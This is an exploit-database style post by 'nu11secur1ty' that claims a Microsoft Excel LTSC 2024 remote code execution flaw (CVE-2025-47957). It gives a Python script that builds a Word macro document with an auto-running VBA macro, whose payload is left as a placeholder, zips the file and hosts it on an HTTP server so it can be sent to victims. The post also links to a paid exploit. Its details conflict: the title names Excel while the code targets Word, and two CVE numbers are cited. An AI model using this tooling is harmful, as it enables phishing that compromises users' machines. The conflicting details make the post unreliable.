# Titles: Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
# Author: nu11secur1ty
# Date: 06/16/2025
# Vendor: Microsoft
# Software: https://www.microsoft.com/en/microsoft-365/excel?market=af
# Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27751
# CVE-2025-47957
# Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise
## Description:
The attacker can trick any user into opening and executing their code by
sending a malicious DOCX file via email or a streaming server. After the
execution of the victim, his machine can be infected or even worse than
ever; this could be the end of his Windows machine! WARNING: AMPOTATE THE
MACROS OPTIONS FROM YOUR OFFICE 365!!!
STATUS: HIGH-CRITICAL Vulnerability
[+]Exploit:
```
#!/usr/bin/python
# CVE-2025-47957 by nu11secur1ty
import os
import time
import zipfile
import threading
import http.server
import socket
import socketserver
import win32com.client
def get_local_ip():
"""Get the LAN IP address of the current machine."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80)) # External DNS, just for routing
ip = s.getsockname()[0]
s.close()
return ip
except:
return "127.0.0.1"
def create_docm_with_auto_macro(filename):
script_dir = os.path.dirname(os.path.abspath(__file__))
full_path = os.path.join(script_dir, filename)
word = win32com.client.Dispatch("Word.Application")
word.Visible = False
doc = word.Documents.Add()
doc.Content.Text = "This document contains an auto-starting macro."
vbproject = doc.VBProject
vbcomponent = vbproject.VBComponents.Add(1) # Standard Module
macro_code = '''
Sub AutoOpen()
Call YOUR_PoC
End Sub
Sub YOUR_PoC()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "YOUR_EXPLOIT_HERE"
TaskID = YOUR_TASK_HERE
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub
'''
vbcomponent.CodeModule.AddFromString(macro_code)
wdFormatXMLDocumentMacroEnabled = 13
doc.SaveAs(full_path, FileFormat=wdFormatXMLDocumentMacroEnabled)
doc.Close()
word.Quit()
print(f"[+] Macro-enabled .docm saved at: {full_path}")
return full_path
def compress_to_zip(filepath):
zip_path = filepath + '.zip'
with zipfile.ZipFile(zip_path, 'w') as zipf:
zipf.write(filepath, arcname=os.path.basename(filepath))
print(f"[+] Compressed to ZIP: {zip_path}")
return zip_path
def start_http_server(directory, port=8000):
os.chdir(directory)
handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", port), handler)
ip = get_local_ip()
print(f"[+] HTTP server running at: http://{ip}:{port}/")
thread = threading.Thread(target=httpd.serve_forever)
thread.daemon = True
thread.start()
return httpd
if __name__ == "__main__":
filename = "CVE-2025-47957.docm"
docm_path = create_docm_with_auto_macro(filename)
zip_path = compress_to_zip(docm_path)
server = start_http_server(os.path.dirname(docm_path))
try:
print("[*] Server running — press Ctrl+C to stop...")
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[!] Ctrl+C detected — shutting down server...")
server.shutdown()
print("[+] The Exploit Server stopped. Goodbye!")
```
# Reproduce:
[href](https://www.youtube.com/watch?v=r4NsGrO56yo)
# Buy an exploit only:
[href](https://satoshidisk.com/pay/COeJqt)
# Time spent:
01:37:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty